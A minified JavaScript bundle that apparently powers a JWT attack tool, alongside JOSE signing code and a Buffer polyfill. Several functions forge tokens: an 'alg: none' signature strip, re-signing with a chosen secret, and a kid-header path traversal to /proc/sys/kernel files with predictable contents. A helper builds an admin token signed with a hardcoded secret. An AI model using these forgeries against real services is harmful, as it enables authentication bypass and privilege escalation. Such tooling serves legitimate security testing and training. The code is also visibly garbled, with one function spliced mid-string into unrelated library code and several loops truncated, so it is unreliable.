Parameter MUST be an array of non-empty strings when present');let a;r!==void 0?a=new Map([...Object.entries(r),...t.entries()]):a=t;for(const o of n.crit){if(!a.has(o))throw new xr(`Extension Header Parameter "${o}" is not recognized`);if(i[o]===void 0)throw new e(`Extension Header Parameter "${o}" is missing`);if(a.get(o)&&n[o]===void 0)throw new e(`Extension Header Parameter "${o}" MUST be integrity protected`)}return new Set(n.crit)}function Hc(e,t){const r=`SHA-${e.slice(-3)}`;switch(e){case"HS256":case"HS384":case"HS512":return{hash:r,name:"HMAC"};case"PS256":case"PS384":case"PS512":return{hash:r,name:"RSA-PSS",saltLength:e.slice(-3)>>3};case"RS256":case"RS384":case"RS512":return{hash:r,name:"RSASSA-PKCS1-v1_5"};case"ES256":case"ES384":case"ES512":return{hash:r,name:"ECDSA",namedCurve:t.namedCurve};case"EdDSA":return{name:t.name};default:throw new xr(`alg ${e} is not supported either by JOSE or your javascript runtime`)}}async function Vc(e,t,r){if(t=await Nc.normalizePrivateKey(t,e),Xs(t))return Ic(t,e,r),t;if(t instanceof Uint8Array){if(!e.startsWith("HS"))throw new TypeError(zo(t,...Zn));return ui.subtle.importKey("raw",t,{hash:`SHA-${e.slice(-3)}`,name:"HMAC"},!1,[r])}throw new TypeError(zo(t,...Zn,"Uint8Array"))}const kr=e=>Math.floor(e.getTime()/1e3),nf=60,af=nf*60,Ua=af*24,Kc=Ua*7,Wc=Ua*365.25,Jc=/^(\+|\-)? ?(\d+|\d+\.\d+) ?(seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)(?: (ago|from now))?$/i,Qi=e=>{const t=Jc.exec(e);if(!t||t[4]&&t[1])throw new TypeError("Invalid time period format");const r=parseFloat(t[2]),n=t[3].toLowerCase();let i;switch(n){case"sec":case"secs":case"second":case"seconds":case"s":i=Math.round(r);break;case"minute":case"minutes":case"min":case"mins":case"m":i=Math.round(r*nf);break;case"hour":case"hours":case"hr":case"hrs":case"h":i=Math.round(r*af);break;case"day":case"days":case"d":i=Math.round(r*Ua);break;case"week":case"weeks":case"w":i=Math.round(r*Kc);break;default:i=Math.round(r*Wc);break}return t[1]==="-"||t[4]==="ago"?-i:i},Yc=async(e,t,r)=>{const n=await Vc(e,t,"sign");Cc(e,n);const i=await ui.subtle.sign(Hc(e,n.algorithm),n,r);return new Uint8Array(i)};class Xc{constructor(t){if(!(t instanceof Uint8Array))throw new TypeError("payload must be an instance of Uint8Array");this._payload=t}setProtectedHeader(t){if(this._protectedHeader)throw new TypeError("setProtectedHeader can only be called once");return this._protectedHeader=t,this}setUnprotectedHeader(t){if(this._unprotectedHeader)throw new TypeError("setUnprotectedHeader can only be called once");return this._unprotectedHeader=t,this}async sign(t,r){if(!this._protectedHeader&&!this._unprotectedHeader)throw new En("either setProtectedHeader or setUnprotectedHeader must be called before #sign()");if(!Oc(this._protectedHeader,this._unprotectedHeader))throw new En("JWS Protected and JWS Unprotected Header Parameter names must be disjoint");const n={...this._protectedHeader,...this._unprotectedHeader},i=qc(En,new Map([["b64",!0]]),r==null?void 0:r.crit,this._protectedHeader,n);let a=!0;if(i.has("b64")&&(a=this._protectedHeader.b64,typeof a!="boolean"))throw new En('The "b64" (base64url-encode payload) Header Parameter must be a boolean');const{alg:o}=n;if(typeof o!="string"||!o)throw new En('JWS "alg" (Algorithm) Header Parameter missing or invalid');Uc(o,t,"sign");let s=this._payload;a&&(s=Xr.encode(Yi(s)));let c;this._protectedHeader?c=Xr.encode(Yi(JSON.stringify(this._protectedHeader))):c=Xr.encode("");const b=xc(c,Xr.encode("."),s),p=await Yc(o,t,b),m={signature:Yi(p),payload:""};return a&&(m.payload=va.decode(s)),this._unprotectedHeader&&(m.header=this._unprotectedHeader),this._protectedHeader&&(m.protected=va.decode(c)),m}}class Gc{constructor(t){this._flattened=new Xc(t)}setProtectedHeader(t){return this._flattened.setProtectedHeader(t),this}async sign(t,r){const n=await this._flattened.sign(t,r);if(n.payload===void 0)throw new TypeError("use the flattened module for creating JWS with b64: false");return`${n.protected}.${n.payload}.${n.signature}`}}function Cr(e,t){if(!Number.isFinite(t))throw new TypeError(`Invalid ${e} input`);return t}class Zc{constructor(t={}){if(!kc(t))throw new TypeError("JWT Claims Set MUST be an object");this._payload=t}setIssuer(t){return this._payload={...this._payload,iss:t},this}setSubject(t){return this._payload={...this._payload,sub:t},this}setAudience(t){return this._payload={...this._payload,aud:t},this}setJti(t){return this._payload={...this._payload,jti:t},this}setNotBefore(t){return typeof t=="number"?this._payload={...this._payload,nbf:Cr("setNotBefore",t)}:t instanceof Date?this._payload={...this._payload,nbf:Cr("setNotBefore",kr(t))}:this._payload={...this._payload,nbf:kr(new Date)+Qi(t)},this}setExpirationTime(t){return typeof t=="number"?this._payload={...this._payload,exp:Cr("setExpirationTime",t)}:t instanceof Date?this._payload={...this._payload,exp:Cr("setExpirationTime",kr(t))}:this._payload={...this._payload,exp:kr(new Date)+Qi(t)},this}setIssuedAt(t){return typeof t>"u"?this._payload={...this._payload,iat:kr(new Date)}:t instanceof Date?this._payload={...this._payload,iat:Cr("setIssuedAt",kr(t))}:typeof t=="string"?this._payload={...this._payload,iat:Cr("setIssuedAt",kr(new Date)+Qi(t))}:this._payload={...this._payload,iat:Cr("setIssuedAt",t)},this}}class Qc extends Zc{setProtectedHeader(t){return this._protectedHeader=t,this}async sign(t,r){var i;const n=new Gc(Xr.encode(JSON.stringify(this._payload)));if(n.setProtectedHeader(this._protectedHeader),Array.isArray((i=this._protectedHeader)==null?void 0:i.crit)&&this._protectedHeader.crit.includes("b64")&&this._protectedHeader.b64===!1)throw new _c("JWTs MUST NOT use unencoded payload");return n.sign(t,r)}}class of extends Error{}function qr(e,t=!1){try{let r=e.split(".").map(o=>fi.Buffer.from(o,"base64").toString("utf-8"));const n=JSON.parse(r[0]),i=JSON.parse(r[1]);let a=[n,i];return t&&a.push(JSON.parse(r[2])),a}catch{throw new of}}function Qn(e){return btoa(JSON.stringify(e)).replace(/={1,2}$/,"")}async function di(e){let t,r;return e.alg?r=e.alg:r=e.header.alg,r.startsWith("HS")?t=new TextEncoder().encode(e.secretKey):t=await Fc(e.secretKey,r),await new Qc(e.payload).setProtectedHeader({alg:e.alg,typ:"JWT",...e.header}).sign(t)}function e0(e){var r,n;for(var t in e)t=e[t],(r=document.getElementById(t))==null||r.classList.remove("border-error"),(n=document.getElementById(t))==null||n.classList.add("border-secondary-300")}function sf(e){var r,n;for(var t in e)t=e[t],(r=document.getElementById(t))==null||r.classList.remove("border-secondary-300"),(n=document.getElementById(t))==null||n.classList.add("border-error")}function gr(e,t){var n;for(var r in t){const i=t[r];(n=document.getElementById(e))==null||n.classList.remove(i)}}function yr(e,t){var n;for(var r in t){const i=t[r];(n=document.getElementById(e))==null||n.classList.add(i)}}async function ea(){return await di({header:{typ:"JWT",alg:"HS256"},payload:{sub:"1",name:"admin",groups:["user","admin"]},alg:St.HS256,secretKey:"secret-to-sign-token"})}var Tn=(e=>(e.RANDOMIZE_VA_SPACE="/proc/sys/kernel/randomize_va_space",e.TIMER_MIGRATION="/proc/sys/kernel/timer_migration",e))(Tn||{}),Pr=(e=>(e.NONE="none",e.FALSE="false",e.NULL="null",e.EMPTY="empty",e))(Pr||{});function t0(e,t){const r={[Pr.NONE]:"none",[Pr.EMPTY]:"",[Pr.FALSE]:!1,[Pr.NULL]:null};let[n,i]=qr(e);return n.alg=r[t],n=Qn(n),i=Qn(i),`${n}.${i}.`}async function r0(e,t,r=St.HS256){let[n,i]=qr(e);return n.alg=r,await di({header:n,payload:i,alg:r,secretKey:t})}async function Fo(e,t){let[r,n]=qr(e);r.kid=`../../../../../../../../..${t}`;const i={[Tn.TIMER_MIGRATION]:`1 + */(function(e){const t=li,r=La,n=typeof Symbol=="function"&&typeof Symbol.for=="function"?Symbol.for("nodejs.util.inspect.custom"):null;e.Buffer=o,e.SlowBuffer=D,e.INSPECT_MAX_BYTES=50;const i=2147483647;e.kMaxLength=i,o.TYPED_ARRAY_SUPPORT=a(),!o.TYPED_ARRAY_SUPPORT&&typeof console<"u"&&typeof console.error=="function"&&console.error("This browser lacks typed array (Uint8Array) support which is required by `buffer` v5.x. Use `buffer` v4.x if you require old browser support.");function a(){try{const v=new Uint8Array(1),l={foo:function(){return 42}};return Object.setPrototypeOf(l,Uint8Array.prototype),Object.setPrototypeOf(v,l),v.foo()===42}catch{return!1}}Object.defineProperty(o.prototype,"parent",{enumerable:!0,get:function(){if(o.isBuffer(this))return this.buffer}}),Object.defineProperty(o.prototype,"offset",{enumerable:!0,get:function(){if(o.isBuffer(this))return this.byteOffset}});function s(v){if(v>i)throw new RangeError('The value "'+v+'" is invalid for option "size"');const l=new Uint8Array(v);return Object.setPrototypeOf(l,o.prototype),l}function o(v,l,c){if(typeof v=="number"){if(typeof l=="string")throw new TypeError('The "string" argument must be of type string. Received type number');return m(v)}return d(v,l,c)}o.poolSize=8192;function d(v,l,c){if(typeof v=="string")return E(v,l);if(ArrayBuffer.isView(v))return B(v);if(v==null)throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof v);if(ue(v,ArrayBuffer)||v&&ue(v.buffer,ArrayBuffer)||typeof SharedArrayBuffer<"u"&&(ue(v,SharedArrayBuffer)||v&&ue(v.buffer,SharedArrayBuffer)))return C(v,l,c);if(typeof v=="number")throw new TypeError('The "value" argument must not be of type number. Received type number');const w=v.valueOf&&v.valueOf();if(w!=null&&w!==v)return o.from(w,l,c);const O=F(v);if(O)return O;if(typeof Symbol<"u"&&Symbol.toPrimitive!=null&&typeof v[Symbol.toPrimitive]=="function")return o.from(v[Symbol.toPrimitive]("string"),l,c);throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof v)}o.from=function(v,l,c){return d(v,l,c)},Object.setPrototypeOf(o.prototype,Uint8Array.prototype),Object.setPrototypeOf(o,Uint8Array);function b(v){if(typeof v!="number")throw new TypeError('"size" argument must be of type number');if(v<0)throw new RangeError('The value "'+v+'" is invalid for option "size"')}function p(v,l,c){return b(v),v<=0?s(v):l!==void 0?typeof c=="string"?s(v).fill(l,c):s(v).fill(l):s(v)}o.alloc=function(v,l,c){return p(v,l,c)};function m(v){return b(v),s(v<0?0:z(v)|0)}o.allocUnsafe=function(v){return m(v)},o.allocUnsafeSlow=function(v){return m(v)};function E(v,l){if((typeof l!="string"||l==="")&&(l="utf8"),!o.isEncoding(l))throw new TypeError("Unknown encoding: "+l);const c=R(v,l)|0;let w=s(c);const O=w.write(v,l);return O!==c&&(w=w.slice(0,O)),w}function I(v){const l=v.length<0?0:z(v.length)|0,c=s(l);for(let w=0;w=i)throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+i.toString(16)+" bytes");return v|0}function D(v){return+v!=v&&(v=0),o.alloc(+v)}o.isBuffer=function(l){return l!=null&&l._isBuffer===!0&&l!==o.prototype},o.compare=function(l,c){if(ue(l,Uint8Array)&&(l=o.from(l,l.offset,l.byteLength)),ue(c,Uint8Array)&&(c=o.from(c,c.offset,c.byteLength)),!o.isBuffer(l)||!o.isBuffer(c))throw new TypeError('The "buf1", "buf2" arguments must be one of type Buffer or Uint8Array');if(l===c)return 0;let w=l.length,O=c.length;for(let T=0,P=Math.min(w,O);TO.length?(o.isBuffer(P)||(P=o.from(P)),P.copy(O,T)):Uint8Array.prototype.set.call(O,P,T);else if(o.isBuffer(P))P.copy(O,T);else throw new TypeError('"list" argument must be an Array of Buffers');T+=P.length}return O};function R(v,l){if(o.isBuffer(v))return v.length;if(ArrayBuffer.isView(v)||ue(v,ArrayBuffer))return v.byteLength;if(typeof v!="string")throw new TypeError('The "string" argument must be one of type string, Buffer, or ArrayBuffer. Received type '+typeof v);const c=v.length,w=arguments.length>2&&arguments[2]===!0;if(!w&&c===0)return 0;let O=!1;for(;;)switch(l){case"ascii":case"latin1":case"binary":return c;case"utf8":case"utf-8":return nr(v).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return c*2;case"hex":return c>>>1;case"base64":return ut(v).length;default:if(O)return w?-1:nr(v).length;l=(""+l).toLowerCase(),O=!0}}o.byteLength=R;function N(v,l,c){let w=!1;if((l===void 0||l<0)&&(l=0),l>this.length||((c===void 0||c>this.length)&&(c=this.length),c<=0)||(c>>>=0,l>>>=0,c<=l))return"";for(v||(v="utf8");;)switch(v){case"hex":return _(this,l,c);case"utf8":case"utf-8":return g(this,l,c);case"ascii":return A(this,l,c);case"latin1":case"binary":return k(this,l,c);case"base64":return h(this,l,c);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return u(this,l,c);default:if(w)throw new TypeError("Unknown encoding: "+v);v=(v+"").toLowerCase(),w=!0}}o.prototype._isBuffer=!0;function $(v,l,c){const w=v[l];v[l]=v[c],v[c]=w}o.prototype.swap16=function(){const l=this.length;if(l%2!==0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(let c=0;cc&&(l+=" ... "),""},n&&(o.prototype[n]=o.prototype.inspect),o.prototype.compare=function(l,c,w,O,T){if(ue(l,Uint8Array)&&(l=o.from(l,l.offset,l.byteLength)),!o.isBuffer(l))throw new TypeError('The "target" argument must be one of type Buffer or Uint8Array. Received type '+typeof l);if(c===void 0&&(c=0),w===void 0&&(w=l?l.length:0),O===void 0&&(O=0),T===void 0&&(T=this.length),c<0||w>l.length||O<0||T>this.length)throw new RangeError("out of range index");if(O>=T&&c>=w)return 0;if(O>=T)return-1;if(c>=w)return 1;if(c>>>=0,w>>>=0,O>>>=0,T>>>=0,this===l)return 0;let P=T-O,Y=w-c;const Ee=Math.min(P,Y),Q=this.slice(O,T),te=l.slice(c,w);for(let ve=0;ve2147483647?c=2147483647:c<-2147483648&&(c=-2147483648),c=+c,ir(c)&&(c=O?0:v.length-1),c<0&&(c=v.length+c),c>=v.length){if(O)return-1;c=v.length-1}else if(c<0)if(O)c=0;else return-1;if(typeof l=="string"&&(l=o.from(l,w)),o.isBuffer(l))return l.length===0?-1:K(v,l,c,w,O);if(typeof l=="number")return l=l&255,typeof Uint8Array.prototype.indexOf=="function"?O?Uint8Array.prototype.indexOf.call(v,l,c):Uint8Array.prototype.lastIndexOf.call(v,l,c):K(v,[l],c,w,O);throw new TypeError("val must be string, number or Buffer")}function K(v,l,c,w,O){let T=1,P=v.length,Y=l.length;if(w!==void 0&&(w=String(w).toLowerCase(),w==="ucs2"||w==="ucs-2"||w==="utf16le"||w==="utf-16le")){if(v.length<2||l.length<2)return-1;T=2,P/=2,Y/=2,c/=2}function Ee(te,ve){return T===1?te[ve]:te.readUInt16BE(ve*T)}let Q;if(O){let te=-1;for(Q=c;QP&&(c=P-Y),Q=c;Q>=0;Q--){let te=!0;for(let ve=0;veO&&(w=O)):w=O;const T=l.length;w>T/2&&(w=T/2);let P;for(P=0;P>>0,isFinite(w)?(w=w>>>0,O===void 0&&(O="utf8")):(O=w,w=void 0);else throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");const T=this.length-c;if((w===void 0||w>T)&&(w=T),l.length>0&&(w<0||c<0)||c>this.length)throw new RangeError("Attempt to write outside buffer bounds");O||(O="utf8");let P=!1;for(;;)switch(O){case"hex":return j(this,l,c,w);case"utf8":case"utf-8":return H(this,l,c,w);case"ascii":case"latin1":case"binary":return U(this,l,c,w);case"base64":return x(this,l,c,w);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return f(this,l,c,w);default:if(P)throw new TypeError("Unknown encoding: "+O);O=(""+O).toLowerCase(),P=!0}},o.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};function h(v,l,c){return l===0&&c===v.length?t.fromByteArray(v):t.fromByteArray(v.slice(l,c))}function g(v,l,c){c=Math.min(v.length,c);const w=[];let O=l;for(;O239?4:T>223?3:T>191?2:1;if(O+Y<=c){let Ee,Q,te,ve;switch(Y){case 1:T<128&&(P=T);break;case 2:Ee=v[O+1],(Ee&192)===128&&(ve=(T&31)<<6|Ee&63,ve>127&&(P=ve));break;case 3:Ee=v[O+1],Q=v[O+2],(Ee&192)===128&&(Q&192)===128&&(ve=(T&15)<<12|(Ee&63)<<6|Q&63,ve>2047&&(ve<55296||ve>57343)&&(P=ve));break;case 4:Ee=v[O+1],Q=v[O+2],te=v[O+3],(Ee&192)===128&&(Q&192)===128&&(te&192)===128&&(ve=(T&15)<<18|(Ee&63)<<12|(Q&63)<<6|te&63,ve>65535&&ve<1114112&&(P=ve))}}P===null?(P=65533,Y=1):P>65535&&(P-=65536,w.push(P>>>10&1023|55296),P=56320|P&1023),w.push(P),O+=Y}return M(w)}const y=4096;function M(v){const l=v.length;if(l<=y)return String.fromCharCode.apply(String,v);let c="",w=0;for(;ww)&&(c=w);let O="";for(let T=l;Tw&&(l=w),c<0?(c+=w,c<0&&(c=0)):c>w&&(c=w),cc)throw new RangeError("Trying to access beyond buffer length")}o.prototype.readUintLE=o.prototype.readUIntLE=function(l,c,w){l=l>>>0,c=c>>>0,w||S(l,c,this.length);let O=this[l],T=1,P=0;for(;++P>>0,c=c>>>0,w||S(l,c,this.length);let O=this[l+--c],T=1;for(;c>0&&(T*=256);)O+=this[l+--c]*T;return O},o.prototype.readUint8=o.prototype.readUInt8=function(l,c){return l=l>>>0,c||S(l,1,this.length),this[l]},o.prototype.readUint16LE=o.prototype.readUInt16LE=function(l,c){return l=l>>>0,c||S(l,2,this.length),this[l]|this[l+1]<<8},o.prototype.readUint16BE=o.prototype.readUInt16BE=function(l,c){return l=l>>>0,c||S(l,2,this.length),this[l]<<8|this[l+1]},o.prototype.readUint32LE=o.prototype.readUInt32LE=function(l,c){return l=l>>>0,c||S(l,4,this.length),(this[l]|this[l+1]<<8|this[l+2]<<16)+this[l+3]*16777216},o.prototype.readUint32BE=o.prototype.readUInt32BE=function(l,c){return l=l>>>0,c||S(l,4,this.length),this[l]*16777216+(this[l+1]<<16|this[l+2]<<8|this[l+3])},o.prototype.readBigUInt64LE=ce(function(l){l=l>>>0,pe(l,"offset");const c=this[l],w=this[l+7];(c===void 0||w===void 0)&&Ft(l,this.length-8);const O=c+this[++l]*2**8+this[++l]*2**16+this[++l]*2**24,T=this[++l]+this[++l]*2**8+this[++l]*2**16+w*2**24;return BigInt(O)+(BigInt(T)<>>0,pe(l,"offset");const c=this[l],w=this[l+7];(c===void 0||w===void 0)&&Ft(l,this.length-8);const O=c*2**24+this[++l]*2**16+this[++l]*2**8+this[++l],T=this[++l]*2**24+this[++l]*2**16+this[++l]*2**8+w;return(BigInt(O)<>>0,c=c>>>0,w||S(l,c,this.length);let O=this[l],T=1,P=0;for(;++P=T&&(O-=Math.pow(2,8*c)),O},o.prototype.readIntBE=function(l,c,w){l=l>>>0,c=c>>>0,w||S(l,c,this.length);let O=c,T=1,P=this[l+--O];for(;O>0&&(T*=256);)P+=this[l+--O]*T;return T*=128,P>=T&&(P-=Math.pow(2,8*c)),P},o.prototype.readInt8=function(l,c){return l=l>>>0,c||S(l,1,this.length),this[l]&128?(255-this[l]+1)*-1:this[l]},o.prototype.readInt16LE=function(l,c){l=l>>>0,c||S(l,2,this.length);const w=this[l]|this[l+1]<<8;return w&32768?w|4294901760:w},o.prototype.readInt16BE=function(l,c){l=l>>>0,c||S(l,2,this.length);const w=this[l+1]|this[l]<<8;return w&32768?w|4294901760:w},o.prototype.readInt32LE=function(l,c){return l=l>>>0,c||S(l,4,this.length),this[l]|this[l+1]<<8|this[l+2]<<16|this[l+3]<<24},o.prototype.readInt32BE=function(l,c){return l=l>>>0,c||S(l,4,this.length),this[l]<<24|this[l+1]<<16|this[l+2]<<8|this[l+3]},o.prototype.readBigInt64LE=ce(function(l){l=l>>>0,pe(l,"offset");const c=this[l],w=this[l+7];(c===void 0||w===void 0)&&Ft(l,this.length-8);const O=this[l+4]+this[l+5]*2**8+this[l+6]*2**16+(w<<24);return(BigInt(O)<>>0,pe(l,"offset");const c=this[l],w=this[l+7];(c===void 0||w===void 0)&&Ft(l,this.length-8);const O=(c<<24)+this[++l]*2**16+this[++l]*2**8+this[++l];return(BigInt(O)<>>0,c||S(l,4,this.length),r.read(this,l,!0,23,4)},o.prototype.readFloatBE=function(l,c){return l=l>>>0,c||S(l,4,this.length),r.read(this,l,!1,23,4)},o.prototype.readDoubleLE=function(l,c){return l=l>>>0,c||S(l,8,this.length),r.read(this,l,!0,52,8)},o.prototype.readDoubleBE=function(l,c){return l=l>>>0,c||S(l,8,this.length),r.read(this,l,!1,52,8)};function V(v,l,c,w,O,T){if(!o.isBuffer(v))throw new TypeError('"buffer" argument must be a Buffer instance');if(l>O||lv.length)throw new RangeError("Index out of range")}o.prototype.writeUintLE=o.prototype.writeUIntLE=function(l,c,w,O){if(l=+l,c=c>>>0,w=w>>>0,!O){const Y=Math.pow(2,8*w)-1;V(this,l,c,w,Y,0)}let T=1,P=0;for(this[c]=l&255;++P>>0,w=w>>>0,!O){const Y=Math.pow(2,8*w)-1;V(this,l,c,w,Y,0)}let T=w-1,P=1;for(this[c+T]=l&255;--T>=0&&(P*=256);)this[c+T]=l/P&255;return c+w},o.prototype.writeUint8=o.prototype.writeUInt8=function(l,c,w){return l=+l,c=c>>>0,w||V(this,l,c,1,255,0),this[c]=l&255,c+1},o.prototype.writeUint16LE=o.prototype.writeUInt16LE=function(l,c,w){return l=+l,c=c>>>0,w||V(this,l,c,2,65535,0),this[c]=l&255,this[c+1]=l>>>8,c+2},o.prototype.writeUint16BE=o.prototype.writeUInt16BE=function(l,c,w){return l=+l,c=c>>>0,w||V(this,l,c,2,65535,0),this[c]=l>>>8,this[c+1]=l&255,c+2},o.prototype.writeUint32LE=o.prototype.writeUInt32LE=function(l,c,w){return l=+l,c=c>>>0,w||V(this,l,c,4,4294967295,0),this[c+3]=l>>>24,this[c+2]=l>>>16,this[c+1]=l>>>8,this[c]=l&255,c+4},o.prototype.writeUint32BE=o.prototype.writeUInt32BE=function(l,c,w){return l=+l,c=c>>>0,w||V(this,l,c,4,4294967295,0),this[c]=l>>>24,this[c+1]=l>>>16,this[c+2]=l>>>8,this[c+3]=l&255,c+4};function W(v,l,c,w,O){Me(l,w,O,v,c,7);let T=Number(l&BigInt(4294967295));v[c++]=T,T=T>>8,v[c++]=T,T=T>>8,v[c++]=T,T=T>>8,v[c++]=T;let P=Number(l>>BigInt(32)&BigInt(4294967295));return v[c++]=P,P=P>>8,v[c++]=P,P=P>>8,v[c++]=P,P=P>>8,v[c++]=P,c}function J(v,l,c,w,O){Me(l,w,O,v,c,7);let T=Number(l&BigInt(4294967295));v[c+7]=T,T=T>>8,v[c+6]=T,T=T>>8,v[c+5]=T,T=T>>8,v[c+4]=T;let P=Number(l>>BigInt(32)&BigInt(4294967295));return v[c+3]=P,P=P>>8,v[c+2]=P,P=P>>8,v[c+1]=P,P=P>>8,v[c]=P,c+8}o.prototype.writeBigUInt64LE=ce(function(l,c=0){return W(this,l,c,BigInt(0),BigInt("0xffffffffffffffff"))}),o.prototype.writeBigUInt64BE=ce(function(l,c=0){return J(this,l,c,BigInt(0),BigInt("0xffffffffffffffff"))}),o.prototype.writeIntLE=function(l,c,w,O){if(l=+l,c=c>>>0,!O){const Ee=Math.pow(2,8*w-1);V(this,l,c,w,Ee-1,-Ee)}let T=0,P=1,Y=0;for(this[c]=l&255;++T>0)-Y&255;return c+w},o.prototype.writeIntBE=function(l,c,w,O){if(l=+l,c=c>>>0,!O){const Ee=Math.pow(2,8*w-1);V(this,l,c,w,Ee-1,-Ee)}let T=w-1,P=1,Y=0;for(this[c+T]=l&255;--T>=0&&(P*=256);)l<0&&Y===0&&this[c+T+1]!==0&&(Y=1),this[c+T]=(l/P>>0)-Y&255;return c+w},o.prototype.writeInt8=function(l,c,w){return l=+l,c=c>>>0,w||V(this,l,c,1,127,-128),l<0&&(l=255+l+1),this[c]=l&255,c+1},o.prototype.writeInt16LE=function(l,c,w){return l=+l,c=c>>>0,w||V(this,l,c,2,32767,-32768),this[c]=l&255,this[c+1]=l>>>8,c+2},o.prototype.writeInt16BE=function(l,c,w){return l=+l,c=c>>>0,w||V(this,l,c,2,32767,-32768),this[c]=l>>>8,this[c+1]=l&255,c+2},o.prototype.writeInt32LE=function(l,c,w){return l=+l,c=c>>>0,w||V(this,l,c,4,2147483647,-2147483648),this[c]=l&255,this[c+1]=l>>>8,this[c+2]=l>>>16,this[c+3]=l>>>24,c+4},o.prototype.writeInt32BE=function(l,c,w){return l=+l,c=c>>>0,w||V(this,l,c,4,2147483647,-2147483648),l<0&&(l=4294967295+l+1),this[c]=l>>>24,this[c+1]=l>>>16,this[c+2]=l>>>8,this[c+3]=l&255,c+4},o.prototype.writeBigInt64LE=ce(function(l,c=0){return W(this,l,c,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))}),o.prototype.writeBigInt64BE=ce(function(l,c=0){return J(this,l,c,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))});function X(v,l,c,w,O,T){if(c+w>v.length)throw new RangeError("Index out of range");if(c<0)throw new RangeError("Index out of range")}function ie(v,l,c,w,O){return l=+l,c=c>>>0,O||X(v,l,c,4),r.write(v,l,c,w,23,4),c+4}o.prototype.writeFloatLE=function(l,c,w){return ie(this,l,c,!0,w)},o.prototype.writeFloatBE=function(l,c,w){return ie(this,l,c,!1,w)};function fe(v,l,c,w,O){return l=+l,c=c>>>0,O||X(v,l,c,8),r.write(v,l,c,w,52,8),c+8}o.prototype.writeDoubleLE=function(l,c,w){return fe(this,l,c,!0,w)},o.prototype.writeDoubleBE=function(l,c,w){return fe(this,l,c,!1,w)},o.prototype.copy=function(l,c,w,O){if(!o.isBuffer(l))throw new TypeError("argument should be a Buffer");if(w||(w=0),!O&&O!==0&&(O=this.length),c>=l.length&&(c=l.length),c||(c=0),O>0&&O=this.length)throw new RangeError("Index out of range");if(O<0)throw new RangeError("sourceEnd out of bounds");O>this.length&&(O=this.length),l.length-c>>0,w=w===void 0?this.length:w>>>0,l||(l=0);let T;if(typeof l=="number")for(T=c;T2**32?O=ge(String(c)):typeof c=="bigint"&&(O=String(c),(c>BigInt(2)**BigInt(32)||c<-(BigInt(2)**BigInt(32)))&&(O=ge(O)),O+="n"),w+=` It must be ${l}. Received ${O}`,w},RangeError);function ge(v){let l="",c=v.length;const w=v[0]==="-"?1:0;for(;c>=w+4;c-=3)l=`_${v.slice(c-3,c)}${l}`;return`${v.slice(0,c)}${l}`}function pr(v,l,c){pe(l,"offset"),(v[l]===void 0||v[l+c]===void 0)&&Ft(l,v.length-(c+1))}function Me(v,l,c,w,O,T){if(v>c||v= 0${P} and < 2${P} ** ${(T+1)*8}${P}`:Y=`>= -(2${P} ** ${(T+1)*8-1}${P}) and < 2 ** ${(T+1)*8-1}${P}`,new Be.ERR_OUT_OF_RANGE("value",Y,v)}pr(w,O,T)}function pe(v,l){if(typeof v!="number")throw new Be.ERR_INVALID_ARG_TYPE(l,"number",v)}function Ft(v,l,c){throw Math.floor(v)!==v?(pe(v,c),new Be.ERR_OUT_OF_RANGE("offset","an integer",v)):l<0?new Be.ERR_BUFFER_OUT_OF_BOUNDS:new Be.ERR_OUT_OF_RANGE("offset",`>= 0 and <= ${l}`,v)}const Ae=/[^+/0-9A-Za-z-_]/g;function _e(v){if(v=v.split("=")[0],v=v.trim().replace(Ae,""),v.length<2)return"";for(;v.length%4!==0;)v=v+"=";return v}function nr(v,l){l=l||1/0;let c;const w=v.length;let O=null;const T=[];for(let P=0;P55295&&c<57344){if(!O){if(c>56319){(l-=3)>-1&&T.push(239,191,189);continue}else if(P+1===w){(l-=3)>-1&&T.push(239,191,189);continue}O=c;continue}if(c<56320){(l-=3)>-1&&T.push(239,191,189),O=c;continue}c=(O-55296<<10|c-56320)+65536}else O&&(l-=3)>-1&&T.push(239,191,189);if(O=null,c<128){if((l-=1)<0)break;T.push(c)}else if(c<2048){if((l-=2)<0)break;T.push(c>>6|192,c&63|128)}else if(c<65536){if((l-=3)<0)break;T.push(c>>12|224,c>>6&63|128,c&63|128)}else if(c<1114112){if((l-=4)<0)break;T.push(c>>18|240,c>>12&63|128,c>>6&63|128,c&63|128)}else throw new Error("Invalid code point")}return T}function Ie(v){const l=[];for(let c=0;c>8,O=c%256,T.push(O),T.push(w);return T}function ut(v){return t.toByteArray(_e(v))}function be(v,l,c,w){let O;for(O=0;O=l.length||O>=v.length);++O)l[O+c]=v[O];return O}function ue(v,l){return v instanceof l||v!=null&&v.constructor!=null&&v.constructor.name!=null&&v.constructor.name===l.name}function ir(v){return v!==v}const we=function(){const v="0123456789abcdef",l=new Array(256);for(let c=0;c<16;++c){const w=c*16;for(let O=0;O<16;++O)l[w+O]=v[c]+v[O]}return l}();function ce(v){return typeof BigInt>"u"?Or:v}function Or(){throw new Error("BigInt not supported")}})(fi);const ui=crypto,Xs=e=>e instanceof CryptoKey,Xr=new TextEncoder,va=new TextDecoder;function xd(...e){const t=e.reduce((i,{length:a})=>i+a,0),r=new Uint8Array(t);let n=0;for(const i of e)r.set(i,n),n+=i.length;return r}const wd=e=>{let t=e;typeof t=="string"&&(t=Xr.encode(t));const r=32768,n=[];for(let i=0;iwd(e).replace(/=/g,"").replace(/\+/g,"-").replace(/\//g,"_"),Sd=e=>{const t=atob(e),r=new Uint8Array(t.length);for(let n=0;n{let t=e;t instanceof Uint8Array&&(t=va.decode(t)),t=t.replace(/-/g,"+").replace(/_/g,"/").replace(/\s/g,"");try{return Sd(t)}catch{throw new TypeError("The input to be decoded is not correctly encoded.")}};class ja extends Error{static get code(){return"ERR_JOSE_GENERIC"}constructor(t){var 